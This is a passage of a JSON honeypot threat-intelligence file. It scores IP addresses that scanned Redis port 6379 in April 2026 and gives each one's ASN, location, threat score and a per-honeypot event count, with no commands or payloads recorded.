        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 25,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T09:49:49+00:00",
        "last_seen_30d": "2026-04-25T21:43:08.401000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "198.235.24.243": {
      "attack_count": 9,
      "first_seen": "2026-04-29T22:31:40.000Z",
      "last_seen": "2026-04-29T22:33:18.701Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 27,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T15:42:20.225000+00:00",
        "last_seen_30d": "2026-04-29T22:33:18.701000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 22,
        "Redishoneypot": 3,
        "Dionaea": 2,
        "Honeyaml": 1
      }
    },
    "205.210.31.174": {
      "attack_count": 9,
      "first_seen": "2026-04-25T23:54:03.000Z",
      "last_seen": "2026-04-25T23:55:38.427Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 29,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T05:25:14+00:00",
        "last_seen_30d": "2026-04-30T04:03:25.037000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 32,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "ConPot": 1,
        "Honeyaml": 1
      }
    },
    "52.21.227.35": {
      "attack_count": 8,
      "first_seen": "2026-04-07T17:47:48.000Z",
      "last_seen": "2026-04-16T17:13:34.452Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 80.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 28,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:08:59.275000+00:00",
        "last_seen_30d": "2026-04-28T22:55:06.095000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 181,
        "Honeytrap": 24,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "192.241.144.48": {
      "attack_count": 7,
      "first_seen": "2026-04-17T17:09:15.000Z",
      "last_seen": "2026-04-17T17:10:52.243Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6252,
        "days_active_30d": 3,
        "ports_targeted_30d": 1872,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-15T10:40:58.102000+00:00",
        "last_seen_30d": "2026-04-17T17:38:26.556000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4586,
        "Honeytrap": 1640,
        "Dionaea": 6,
        "ConPot": 4,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 2,
        "Tanner": 1
      }
    },
    "66.132.186.219": {
      "attack_count": 6,
      "first_seen": "2026-04-25T11:08:56.000Z",
      "last_seen": "2026-04-25T11:10:05.032Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 67.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:59:16.829000+00:00",
        "last_seen_30d": "2026-04-30T20:57:44.715000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55
      }
    },
    "136.144.253.66": {
      "attack_count": 5,
      "first_seen": "2026-04-12T22:09:11.000Z",
      "last_seen": "2026-04-12T22:10:19.274Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "De Waal",
      "asn": 20857,
      "as_org": "Signet B.V.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-12T22:10:19.274000+00:00",
        "last_seen_30d": "2026-04-12T22:10:19.274000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "146.56.220.191": {
      "attack_count": 5,
      "first_seen": "2026-04-29T08:35:29.000Z",
      "last_seen": "2026-04-29T08:36:36.313Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-29T08:36:36.313000+00:00",
        "last_seen_30d": "2026-04-29T08:36:36.313000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "154.8.237.182": {
      "attack_count": 5,
      "first_seen": "2026-04-06T08:40:02.000Z",
      "last_seen": "2026-04-06T08:41:09.704Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 1.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T08:41:09.704000+00:00",
        "last_seen_30d": "2026-04-06T08:41:09.704000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "155.212.219.222": {
      "attack_count": 5,
      "first_seen": "2026-04-09T09:23:23.000Z",
      "last_seen": "2026-04-09T09:24:27.174Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 198610,
      "as_org": "Beget LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-09T09:24:27.174000+00:00",
        "last_seen_30d": "2026-04-09T09:24:27.174000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "157.230.235.169": {
      "attack_count": 5,
      "first_seen": "2026-04-06T20:37:52.000Z",
      "last_seen": "2026-04-06T20:39:01.549Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 1.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T20:39:01.549000+00:00",
        "last_seen_30d": "2026-04-06T20:39:01.549000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "42.121.253.235": {
      "attack_count": 5,
      "first_seen": "2026-04-18T11:11:48.000Z",
      "last_seen": "2026-04-18T11:12:49.968Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-18T11:12:49.968000+00:00",
        "last_seen_30d": "2026-04-18T11:12:49.968000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "45.129.98.131": {
      "attack_count": 5,
      "first_seen": "2026-04-02T18:13:01.000Z",
      "last_seen": "2026-04-02T18:14:05.685Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Khmelnytskyi",
      "asn": 201094,
      "as_org": "Mulgin Alexander Sergeevich",
      "threat_score": 0.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T18:14:05.685000+00:00",
        "last_seen_30d": "2026-04-02T18:14:05.685000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "45.33.95.64": {
      "attack_count": 5,
      "first_seen": "2026-04-22T12:39:38.000Z",
      "last_seen": "2026-04-22T12:40:45.192Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 30,
        "ports_targeted_30d": 172,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:39:42.777000+00:00",
        "last_seen_30d": "2026-04-30T12:01:49.736000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 181
      }
    },
    "47.84.20.0": {
      "attack_count": 5,
      "first_seen": "2026-04-27T09:29:01.000Z",
      "last_seen": "2026-04-27T09:30:02.957Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-27T09:30:02.957000+00:00",
        "last_seen_30d": "2026-04-27T09:30:02.957000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "66.132.195.144": {
      "attack_count": 5,
      "first_seen": "2026-04-07T05:20:10.000Z",
      "last_seen": "2026-04-07T05:21:47.503Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 26,
        "ports_targeted_30d": 160,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:29:03.667000+00:00",
        "last_seen_30d": "2026-04-26T20:24:19.927000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 163
      }
    },
    "8.140.234.215": {
      "attack_count": 5,
      "first_seen": "2026-04-01T00:59:19.000Z",
      "last_seen": "2026-04-01T01:00:25.462Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 0.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:00:25.462000+00:00",
        "last_seen_30d": "2026-04-01T01:00:25.462000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "91.230.168.77": {
      "attack_count": 5,
      "first_seen": "2026-04-12T22:18:55.000Z",
      "last_seen": "2026-04-12T22:20:05.513Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 29,
        "ports_targeted_30d": 162,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:43:56.157000+00:00",
        "last_seen_30d": "2026-04-29T01:36:14.719000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 59,
        "Cowrie": 2
      }
    },
    "143.244.165.110": {
      "attack_count": 4,
      "first_seen": "2026-04-20T13:25:39.000Z",
      "last_seen": "2026-04-20T13:26:40.779Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1904,
        "days_active_30d": 1,
        "ports_targeted_30d": 1843,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-20T12:18:49.944000+00:00",
        "last_seen_30d": "2026-04-20T13:38:02.518000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1820,
        "Honeytrap": 82,
        "Miniprint": 2
      }
    },
    "184.105.139.115": {
      "attack_count": 4,
      "first_seen": "2026-04-26T15:24:41.000Z",
      "last_seen": "2026-04-26T15:25:51.038Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 25,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-05T03:54:55.371000+00:00",
        "last_seen_30d": "2026-04-29T09:43:14.713000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11
      }
    },
    "65.49.1.165": {
      "attack_count": 4,
      "first_seen": "2026-04-15T17:38:39.000Z",
      "last_seen": "2026-04-15T17:39:40.826Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 79.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 28,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T06:13:37.332000+00:00",
        "last_seen_30d": "2026-04-30T11:20:24.407000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 7,
        "Ciscoasa": 1,
        "H0neytr4p": 1
      }
    },
    "65.49.20.107": {
      "attack_count": 4,
      "first_seen": "2026-04-19T14:28:06.000Z",
      "last_seen": "2026-04-19T14:29:08.427Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 63.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 26,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T09:34:34.067000+00:00",
        "last_seen_30d": "2026-04-29T15:14:59.428000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 1
      }
    },
    "74.82.47.22": {
      "attack_count": 4,
      "first_seen": "2026-04-23T13:54:01.000Z",
      "last_seen": "2026-04-23T13:55:10.244Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 19.2,
        "diversity": 12,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 23,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-04T07:53:20.430000+00:00",
        "last_seen_30d": "2026-04-26T10:10:47.627000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "172.105.186.117": {
      "attack_count": 2,
      "first_seen": "2026-04-02T12:53:26.046Z",
      "last_seen": "2026-04-21T12:19:08.076Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4818469,
        "days_active_30d": 30,
        "ports_targeted_30d": 64017,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:00:01.445000+00:00",
        "last_seen_30d": "2026-04-30T23:50:00.776000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4818469
      }
    },
    "16.58.56.214": {
      "attack_count": 420,
      "first_seen": "2026-04-05T03:27:55.000Z",
      "last_seen": "2026-04-21T03:22:55.060Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 15162,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T00:52:07+00:00",
        "last_seen_30d": "2026-04-30T23:25:12.531000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9813,
        "Honeytrap": 4535,
        "Dionaea": 183,
        "Cowrie": 181,
        "Mailoney": 177,
        "Redishoneypot": 112,
        "ConPot": 95,
        "Ipphoney": 25,
        "CitrixHoneypot": 9,
        "ElasticPot": 9,
        "Honeyaml": 9,
        "Tanner": 7,
        "Ciscoasa": 4,
        "H0neytr4p": 3
      }
    },
    "66.132.172.16": {
      "attack_count": 105,
      "first_seen": "2026-04-02T07:43:00.000Z",
      "last_seen": "2026-04-27T00:53:33.975Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5878,
        "days_active_30d": 30,
        "ports_targeted_30d": 3380,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:08:13.533000+00:00",
        "last_seen_30d": "2026-04-30T23:49:59.612000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5878
      }
    },
    "45.91.64.6": {
      "attack_count": 84,
      "first_seen": "2026-04-07T06:28:00.000Z",
      "last_seen": "2026-04-25T15:44:45.922Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 214664,
      "as_org": "JSC Buduschee",
      "threat_score": 98.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 672,
        "days_active_30d": 30,
        "ports_targeted_30d": 94,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-01T06:00:14.289000+00:00",
        "last_seen_30d": "2026-04-30T07:06:14.764000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 491,
        "Honeytrap": 110,
        "Redishoneypot": 21,
        "Dionaea": 18,
        "Cowrie": 16,
        "ConPot": 4,
        "Mailoney": 4,
        "ElasticPot": 3,
        "H0neytr4p": 2,
        "Tanner": 2,
        "Honeyaml": 1
      }
    },
    "49.7.204.85": {
      "attack_count": 70,
      "first_seen": "2026-04-01T15:43:35.000Z",
      "last_seen": "2026-04-30T02:31:53.562Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 43.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T15:44:44.706000+00:00",
        "last_seen_30d": "2026-04-30T02:31:53.562000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14
      }
    },
    "4.156.218.251": {
      "attack_count": 68,
      "first_seen": "2026-04-01T10:23:15.000Z",
      "last_seen": "2026-04-30T23:45:53.683Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:23:16+00:00",
        "last_seen_30d": "2026-04-30T23:45:53.683000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 21,
        "Suricata": 7
      }
    },
    "49.115.217.27": {
      "attack_count": 64,
      "first_seen": "2026-04-05T07:25:59.000Z",
      "last_seen": "2026-04-29T23:59:35.141Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-05T07:27:09.372000+00:00",
        "last_seen_30d": "2026-04-29T23:59:35.141000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "218.78.131.154": {
      "attack_count": 62,
      "first_seen": "2026-04-01T16:38:20.000Z",
      "last_seen": "2026-04-29T20:03:26.822Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T16:39:26.330000+00:00",
        "last_seen_30d": "2026-04-29T20:03:26.822000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
